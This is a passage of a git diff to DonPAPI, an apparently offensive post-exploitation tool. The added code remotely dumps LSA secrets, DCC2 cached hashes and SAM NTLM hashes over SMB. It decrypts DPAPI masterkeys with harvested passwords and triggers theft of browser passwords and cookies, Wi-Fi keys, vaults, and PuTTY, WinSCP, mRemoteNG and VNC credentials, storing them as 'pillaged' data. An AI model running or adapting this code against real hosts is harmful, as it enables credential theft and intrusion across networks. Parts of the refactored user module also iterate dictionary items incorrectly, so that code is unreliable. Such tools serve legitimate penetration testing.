{user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}") + self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, + status=user.masterkeys_file[guid]['status'], + decrypted_with=f"Password:{self.options.credz[username]}", + decrypted_value=decrypted_masterkey, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + return user.masterkeys_file[guid] + else: + self.logging.debug( + f"[{self.options.target_ip}] error decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with {len(self.options.credz[username])} passwords from user {username} in cred list") + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] Except decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey with {len(self.options.credz[username])} passwords from user {username} in cred list") + self.logging.debug(ex) + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.FAIL}no credential in credz file for user {user.username} and masterkey {guid} {bcolors.ENDC}") + tested_type.append('LOCAL') + if user.masterkeys_file[guid]['status'] == 'encrypted': + if 'DOMAIN' not in tested_type: + return self.decrypt_masterkey(user, guid, 'DOMAIN', tested_type=tested_type) + elif 'MACHINE' not in tested_type: + return self.decrypt_masterkey(user, guid, 'MACHINE', tested_type=tested_type) + elif 'MACHINE-USER' not in tested_type: + return self.decrypt_masterkey(user, guid, 'MACHINE-USER', tested_type=tested_type) + + # on a pas su le dechiffrer, mais on conseve la masterkey + '''if localfile not in user.masterkeys: + user.masterkeys[localfile] = None''' + if user.masterkeys_file[guid]['status'] == 'encrypted': + user.masterkeys_file[guid]['status'] = 'decryption_failed' + self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, + status=user.masterkeys_file[guid]['status'], decrypted_with='', + decrypted_value='', + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + return -1 + elif user.masterkeys_file[guid]['status'] == 'decrypted': # Should'nt go here + return user.masterkeys_file[guid] + + def test_remoteOps(self): + try: + # Remove logging + # logging.getLogger().setLevel(logging.CRITICAL) + self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE} [+] Dumping LSA Secrets{bcolors.ENDC}") + + self.__remoteOps = MyRemoteOperations(self.smb, self.options.k, self.options.dc_ip) + self.__remoteOps.setExecMethod('smbexec') + self.__remoteOps.enableRegistry() + self.__bootKey = self.__remoteOps.getBootKey() + self.logging.debug(f"bootkey: {self.__bootKey}") + SECURITYFileName = self.__remoteOps.saveSECURITY() + self.logging.debug("savesecurity") + self.__LSASecrets = MyLSASecrets(SECURITYFileName, self.__bootKey, self.__remoteOps, isRemote=True, + history=True) + self.logging.debug("LSASecret") + self.__LSASecrets.dumpCachedHashes() + self.logging.debug("dump cached hashes") + self.__LSASecrets.dumpSecrets() + + filedest = os.path.join(os.path.join(self.options.output_directory, self.options.target_ip), 'LSA') + Path(os.path.split(filedest.replace('\\', '/'))[0]).mkdir(parents=True, exist_ok=True) + self.logging.debug(f"[{self.options.target_ip}] Dumping LSA Secrets to file {filedest}") + finalfile = self.__LSASecrets.exportSecrets(filedest) + self.logging.debug("ret file %s" % finalfile) + self.__LSASecrets.exportCached(filedest) + # Analyser les hash DCC2 pour un export massif. + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] Except remoteOps LSA") + self.logging.debug(ex) + try: + tmp_filedest = filedest + '.secrets' + f = open(tmp_filedest, 'rb') + secrets = f.read().split(b'\n') + f.close() + for index, secret in enumerate(secrets): + if b'dpapi_machinekey' in secret: + self.logging.info( + f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DPAPI Machine key{bcolors.ENDC} : {secret.split(b'dpapi_machinekey:')[1].decode('utf-8')}") + # print(secret.split(b'dpapi_machinekey:')[1]) + self.machine_key.append(secret.split(b'dpapi_machinekey:')[1]) + self.logging.debug(self.machine_key) + if b'dpapi_userkey' in secret: + self.logging.info( + f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DPAPI User key{bcolors.ENDC} : {secret.split(b'dpapi_userkey:')[1].decode('utf-8')}") + self.user_key.append(secret.split(b'dpapi_userkey:')[1]) + self.logging.debug(self.user_key) + if b':' in secret: + if secret.count(b':') == 1: + username, password = secret.split(b':') + if username.decode('utf-8') not in ['dpapi_machinekey', 'dpapi_userkey', 'NL$KM']: + if username.decode('utf-8') not in self.options.credz: + + self.options.credz[username.decode('utf-8')] = [password.decode('utf-8')] + self.logging.info( + f"[{self.options.target_ip}] [+] {bcolors.OKBLUE} LSA : {bcolors.OKGREEN} {username.decode('utf-8')} : {password.decode('utf-8')} {bcolors.ENDC}") + + else: + if password.decode('utf-8') not in self.options.credz[username.decode('utf-8')]: + self.options.credz[username.decode('utf-8')].append(password.decode('utf-8')) + self.logging.info( + f"[{self.options.target_ip}] [+] {bcolors.OKBLUE} LSA : {bcolors.OKGREEN} {username.decode('utf-8')} : {password.decode('utf-8')} {bcolors.ENDC}") + ############PROCESSING DATA + self.db.add_credz(credz_type='LSA', + credz_username=username.decode('utf-8'), + credz_password=password.decode('utf-8'), + credz_target='', + credz_path=tmp_filedest, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username='MACHINE$') + + else: + self.logging.debug("Secret %i - %s" % (index, secret)) + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] Except remoteOps Secrets") + self.logging.debug(ex) + + try: + ##Add DCC2 + + tmp_filedest = filedest + '.cached' + f = open(tmp_filedest, 'rb') + secrets = f.read().split(b'\n') + f.close() + for index, secret in enumerate(secrets): + if b':' in secret and b'#' in secret: + if secret.count(b':') == 1: + username, password = secret.split(b':') + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DCC2 hash :{bcolors.OKGREEN} {secret.decode('utf-8')}{bcolors.ENDC}") + ############PROCESSING DATA + self.db.add_credz(credz_type='DCC2', + credz_username=username.decode('utf-8'), + credz_password=password.decode('utf-8'), + credz_target='', + credz_path=tmp_filedest, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username='MACHINE$') + + else: + self.logging.debug("Secret %i - %s" % (index, secret)) + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] Except remoteOps LSA DCC2") + self.logging.debug(ex) + + try: + # Add SAM + self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE} [+] Dumping SAM Secrets{bcolors.ENDC}") + SAMFileName = self.__remoteOps.saveSAM() + self.__SAMHashes = MySAMHashes(SAMFileName, self.__bootKey, isRemote=True) + self.__SAMHashes.dump() + filedest = os.path.join(os.path.join(self.options.output_directory, self.options.target_ip), 'SAM') + self.__SAMHashes.export(filedest) + # Adding SAM hash to credz + tmp_filedest = filedest + '.sam' + f = open(tmp_filedest, 'rb') + sam_data = f.read().split(b'\n') + f.close() + for sam_line in sam_data: + if b':' in sam_line: + if sam_line.count(b':') == 6: + username, sid, lm, ntlm, _, _, _ = sam_line.split(b':') + # On ne l'ajoute pas aux credz, c'est un hash NTLM, il ne peut pas etre utilisé par dpapi + ''' + if username.decode('utf-8') not in self.options.credz: + self.options.credz[username.decode('utf-8')] = [ntlm.decode('utf-8')] + else: + if ntlm.decode('utf-8') not in self.options.credz[username.decode('utf-8')]: + self.options.credz[username.decode('utf-8')].append(ntlm.decode('utf-8')) + ''' + ############PROCESSING DATA + self.db.add_credz(credz_type='SAM', + credz_username=username.decode('utf-8'), + credz_password=ntlm.decode('utf-8'), + credz_target='', + credz_path=tmp_filedest, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username='MACHINE$') + self.logging.info( + f"[{self.options.target_ip}] [+] {bcolors.OKBLUE} SAM : Collected {bcolors.OKGREEN}{len(sam_data)} hashes {bcolors.ENDC}") + # logging.getLogger().setLevel(logging.DEBUG) + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] Except remoteOps SAM") + self.logging.debug(ex) + self.__remoteOps.finish() + return 1 + + def GetRecentFiles(self): + myRecentFiles = recent_files(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db, + self.users) + myRecentFiles.run() + + def GetMRemoteNG(self): + from software.manager.mRemoteNG import mRemoteNG + myMRemoteNG = mRemoteNG(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db, + self.users) + myMRemoteNG.run() + + def GetPutty(self): + from software.sysadmin.putty import Putty + myPutty = Putty(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db) + myPutty.run() + + def GetWinscp(self): + from software.sysadmin.winscp import Winscp + myWinscp = Winscp(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db) + myWinscp.run() + + def GetNew_Module(self): + myNewModule = new_module(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db, + self.users) + myNewModule.run() + + def GetCertificates(self): + certificates_triage = CertificatesTriage(self.smb, self.myregops, self.myfileops, self.logging, self.options, + self.db, self.users, self.user_key, self.machine_key) + certificates_triage.run() + + def do_test(self): + try: + if self.admin_privs and True: + # self.do_info() + self.do_who() + self.get_users() + # + + if self.options.no_remoteops == False: + try: + self.test_remoteOps() + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] Exception in RemoteOps - Maybe blocked by EDR ? ") + self.logging.debug(f"exception was : {ex}") + # self. + if self.options.no_dpapi == False: + self.get_masterkeys() + self.Get_DPAPI_Protected_Files() + self.GetWifi() + self.GetVaults() + self.GetCertificates() + if self.options.no_browser == False: + self.GetChromeSecrets() + self.GetEdgeSecrets() + self.GetMozillaSecrets_wrapper() + if self.options.no_sysadmins == False: + self.GetMRemoteNG() + self.GetPutty() + self.GetWinscp() + if self.options.no_vnc == False: + self.GetVNC() + if self.options.no_recent == False: + self.GetRecentFiles() + + """ + ***Dev your new module code and start it from here + + if self.options.no_new_module == False: + self.GetNew_Module() + """ + + # self.logging.info(f"[{self.options.target_ip}] {bcolors.OKGREEN}*-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=*\n{bcolors.ENDC}") + # for user in self.users: + # user.resume_user_info() + # user.resume_secrets() + # else: + # NOT ADMIN + self.close_smb() + + + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] Not connected") + self.logging.debug(f"exception was : {ex}") + + def get_secrets(self): + all_secrets = {} + for user in self.users: + all_secrets[user] = user.get_secrets() # DPAPI unprotect # DPAPI decryptMasterkey diff --git a/donpapi/myusers.py b/donpapi/myusers.py index 200e8c7..38fb95d 100644 --- a/donpapi/myusers.py +++ b/donpapi/myusers.py @@ -1,128 +1,162 @@ +#!/usr/bin/env python3 +# -*- encoding: utf-8 -*- + +""" +MyUser module contain MyUser class. +@Author: Pierre-Alexandre Vandewoestyne (@T00uF) +""" -#!/usr/bin/env python -# coding:utf-8 -''' -PA Vandewoestyne -''' -from __future__ import division -from __future__ import print_function -import errno, binascii, shutil -import sys, json, operator -from datetime import datetime -from binascii import hexlify, unhexlify -import logging -import sys from donpapi.lib.toolbox import bcolors + class MyUser: - def __init__(self, username,logger,options): - self.username = username - self.options=options - self.logging = logger - self.sid = ''#un user peut avoir plusieurs SID ? - self.type = 'LOCAL'#LOCAL,DOMAIN,MACHINE,MACHINE-USER - self.type_validated = False - self.appdata = '' - self.password = '' - self.domain = '' - self.lmhash = '' - self.nthash = '' - self.aesKey = '' - self.TGT = '' - #self.masterkeys = {} # GUID_File: masterkey - self.masterkeys_file = {} - self.files = {} - self.secrets = {} - self.dpapi_machinekey: [] - self.dpapi_userkey: [] - self.share = None - self.pwd = None - self.is_adconnect = False + """MyUser class.""" + def __init__(self, username, logger, options): + self.username = username + self.options = options + self.logging = logger + self.sid = '' # A user may have many SID ? + self.type = 'LOCAL' # LOCAL, DOMAIN, MACHINE, MACHINE-USER + self.type_validated = False + self.appdata = '' + self.password = '' + self.domain = '' + self.lmhash = '' + self.nthash = '' + self.aesKey = '' + self.TGT = '' + # self.masterkeys = {} # GUID_File: masterkey + self.masterkeys_file = {} + self.files = {} + self.secrets = {} + self.dpapi_machinekey: [] + self.dpapi_userkey: [] + self.share = None + self.pwd = None + self.is_adconnect = False - def resume_user_info(self): - try: - encrypted=0 - decrypted=0 - decryption_failed=0 + def resume_user_info(self): + """Resume user informations.""" + try: + encrypted = 0 + decrypted = 0 + decryption_failed = 0 - for masterkey in self.masterkeys_file: - if self.masterkeys_file[masterkey]['status']=='decrypted': - decrypted+=1 - elif self.masterkeys_file[masterkey]['status']=='encrypted': - encrypted+=1 - elif self.masterkeys_file[masterkey]['status'] == 'decryption_failed': - decryption_failed+=1 - file_stats={} - for file in self.files: - if self.files[file]['type'] not in file_stats: - file_stats[self.files[file]['type']]={} - if self.files[file]['status'] not in file_stats[self.files[file]['type']]: - file_stats[self.files[file]['type']][self.files[file]['status']]=[file] - else: - file_stats[self.files[file]['type']][self.files[file]['status']].append(file) + for masterkey in self.masterkeys_file.items(): + if masterkey['status'] == 'decrypted': + decrypted += 1 + elif masterkey['status'] == 'encrypted': + encrypted += 1 + elif masterkey['status'] == 'decryption_failed': + decryption_failed += 1 + file_stats = {} + for key, user_file in self.files.items(): + if user_file['type'] not in file_stats: + file_stats[user_file['type']] = {} + if user_file['status'] not in file_stats[user_file['type']]: + file_stats[user_file['type']][user_file['status']] = [key] + else: + file_stats[user_file['type']][user_file['status']].append(key) + msg_log = f"[{self.options.target_ip}] {bcolors.OKGREEN}{self.username}{bcolors.ENDC}" \ + f" - ({self.sid}) - [{self.type} account]" + self.logging.info(msg_log) + msg_log = f"[{self.options.target_ip}] [{len(self.masterkeys_file)} Masterkeys " \ + f"({bcolors.OKGREEN}{decrypted} decrypted{bcolors.ENDC}/{bcolors.WARNING}" \ + f"{decryption_failed} failed{bcolors.ENDC}/{bcolors.OKBLUE}{encrypted} " \ + f"not used{bcolors.ENDC})]" + self.logging.info(msg_log) + self.logging.info(f"[{self.options.target_ip}] [{len(self.files)} secrets files : ]") - self.logging.info(f"[{self.options.target_ip}] {bcolors.OKGREEN}{self.username}{bcolors.ENDC} - ({self.sid}) - [{self.type} account]") - self.logging.info(f"[{self.options.target_ip}] [{len(self.masterkeys_file)} Masterkeys ({bcolors.OKGREEN}{decrypted} decrypted{bcolors.ENDC}/{bcolors.WARNING}{decryption_failed} failed{bcolors.ENDC}/{bcolors.OKBLUE}{encrypted} not used{bcolors.ENDC})]") - self.logging.info(f"[{self.options.target_ip}] [{len(self.files)} secrets files : ]") - for secret_type in file_stats: - for status in file_stats[secret_type]: - self.logging.info(f"[{self.options.target_ip}] - {bcolors.OKGREEN}{len(file_stats[secret_type][status])}{bcolors.ENDC} {status} {secret_type}") - if status == 'decrypted': - for secret_file in file_stats[secret_type][status]: - try: - if secret_type == 'vault' : - for vcrd_file in self.files[secret_file]['vcrd']: - if self.files[secret_file]['vcrd'][vcrd_file]['status']=='decrypted': - self.logging.info(f"[{self.options.target_ip}] Vault {secret_file} - {vcrd_file} : {self.files[secret_file]['vcrd'][vcrd_file]['secret']}") - #self.logging.info(f"[{self.options.target_ip}] Vault {secret_file} : {self.secrets[vcrd_file]}") - elif secret_type in ["ChromeLoginData","MozillaLoginData"]: - for uri in self.files[secret_file]['secret']: - self.logging.info(f"[{self.options.target_ip}] Chrome {uri} - {self.files[secret_file]['secret'][uri]['username']} : {self.files[secret_file]['secret'][uri]['password']}") - elif secret_type == "ChromeCookies" : - for uri in self.files[secret_file]['secret']: - for cookie_name in self.files[secret_file]['secret'][uri]: - self.logging.debug(f"[{self.options.target_ip}] Chrome {uri} - {cookie_name} : {self.files[secret_file]['secret'][uri][cookie_name]}") - elif secret_type == "wifi": - if secret_file in self.files: - self.logging.info(f"[{self.options.target_ip}] Wifi : {self.files[secret_file]['wifi_name']} : {self.files[secret_file]['secret']}") + for secret_type, file_status in file_stats.items(): + for status in file_status: - else: - if secret_file in self.files: #For Credential & Wifi - self.logging.info(f"[{self.options.target_ip}] {secret_file} : {self.files[secret_file]['secret']}") - except Exception as ex: - self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception 00 in ResumeUserInfo for user {self.username} secret file {secret_file} type {secret_type} {bcolors.ENDC}") - self.logging.debug(ex) - else: - for secret_file in file_stats[secret_type][status]: - self.logging.debug(f"[{self.options.target_ip}] {secret_file} : {self.files[secret_file]['path']}") + msg_log = f"[{self.options.target_ip}] - " \ + f"{bcolors.OKGREEN}{len(file_status[status])}{bcolors.ENDC} " \ + f"{status} {secret_type}" + self.logging.info(msg_log) - self.logging.debug(f"[{self.options.target_ip}] -=-=-=-= Masterkeys details =-=-=-=-") - for masterkey in self.masterkeys_file: - self.logging.debug(f" [*]GUID : {masterkey}") - self.logging.debug(f" [*]Status : {self.masterkeys_file[masterkey]['status']}") - self.logging.debug(f" [*]path : {self.masterkeys_file[masterkey]['path']}") - if self.masterkeys_file[masterkey]['status']=='decrypted': - self.logging.debug(f" [*]key : {self.masterkeys_file[masterkey]['key']}") - self.logging.debug(f" [*] -=- -=- -=- -=- -=- -=- [*]") - self.resume_secrets() - except Exception as ex: - self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ResumeUserInfo for user {self.username} {bcolors.ENDC}") - self.logging.debug(ex) + if status == 'decrypted': + for secret_file in file_status[status]: + try: + s_file = self.files[secret_file] + if secret_type == 'vault': + for vcrd_file in s_file['vcrd']: + if s_file['vcrd'][vcrd_file]['status'] == 'decrypted': + msg_log = f"[{self.options.target_ip}] Vault " \ + f"{secret_file} - {vcrd_file} : " \ + f"{s_file['vcrd'][vcrd_file]['secret']}" + self.logging.info(msg_log) + elif secret_type in ["ChromeLoginData", "MozillaLoginData"]: + for uri in s_file['secret']: + msg_log = f"[{self.options.target_ip}] Chrome {uri} - " \ + f"{s_file['secret'][uri]['username']} : " \ + f"{s_file['secret'][uri]['password']}" + self.logging.info(msg_log) + elif secret_type == "ChromeCookies": + for uri in s_file['secret']: + for cookie_name in s_file['secret'][uri]: + msg_log = f"[{self.options.target_ip}] Chrome {uri}" \ + f" - {cookie_name} : " \ + f"{s_file['secret'][uri][cookie_name]}" + self.logging.debug(msg_log) + elif secret_type == "wifi": + if secret_file in self.files: + msg_log = f"[{self.options.target_ip}] Wifi : " \ + f"{s_file['wifi_name']} : {s_file['secret']}" + self.logging.info(msg_log) + else: + if secret_file in self.files: # For Credential & Wifi + msg_log = f"[{self.options.target_ip}] {secret_file} : " \ + f"{s_file['secret']}" + self.logging.info(msg_log) + except OSError as ex: + msg_log = f"[{self.options.target_ip}] {bcolors.WARNING}Exception" \ + f" in ResumeUserInfo for user {self.username} secret" \ + f" file {secret_file} type {secret_type} {bcolors.ENDC}" + self.logging.debug(msg_log) + self.logging.debug(ex) + else: + for secret_file in file_status[status]: + msg_log = f"[{self.options.target_ip}] {secret_file} : " \ + f"{self.files[secret_file]['path']}" + self.logging.debug(msg_log) - def resume_secrets(self): - self.logging.info(f"[{self.options.target_ip}] [*]User : {self.username} - {len(self.secrets)} secrets :") - for secret in self.secrets: - self.logging.info(f"[{self.options.target_ip}] [*]secret : {secret}") - self.logging.info(f"[{self.options.target_ip}] {self.secrets[secret]}") + self.logging.debug(f"[{self.options.target_ip}] -=-=-=-= Masterkeys details =-=-=-=-") - def get_secrets(self): - return self.secrets + for masterkey, masterkey_content in self.masterkeys_file.items(): + self.logging.debug(f"\t\t[*]GUID : {masterkey}") + self.logging.debug(f"\t\t[*]Status : {masterkey_content['status']}") + self.logging.debug(f"\t\t[*]path : {masterkey_content['path']}") + if masterkey_content['status'] == 'decrypted': + self.logging.debug(f"\t\t[*]key : {masterkey_content['key']}") + self.logging.debug("\t\t[*] -=- -=- -=- -=- -=- -=- [*]") + self.resume_secrets() - def check_usertype(self): - #Todo - if self.sid =='': - return 'DOMAIN' - else : - return 'LOCAL' \ No newline at end of file + except OSError as ex: + msg_log = f"[{self.options.target_ip}] {bcolors.WARNING}Exception in " \ + f"ResumeUserInfo for user {self.username} {bcolors.ENDC}" + self.logging.debug(msg_log) + self.logging.debug(ex) + + def resume_secrets(self): + """Resume secrets.""" + msg_log = f"[{self.options.target_ip}] [*]User : " \ + f"{self.username} - {len(self.secrets)} secrets :" + self.logging.info(msg_log) + for secret, secret_content in self.secrets: + self.logging.info(f"[{self.options.target_ip}]\t[*]secret : {secret}") + self.logging.info(f"[{self.options.target_ip}]\t{secret_content}") + + def get_secrets(self): + """Get secrets.""" + return self.secrets + + def check_usertype(self): + """Check user type.""" + # TODO + if self.sid == '': + return 'DOMAIN' + else: + return 'LOCAL'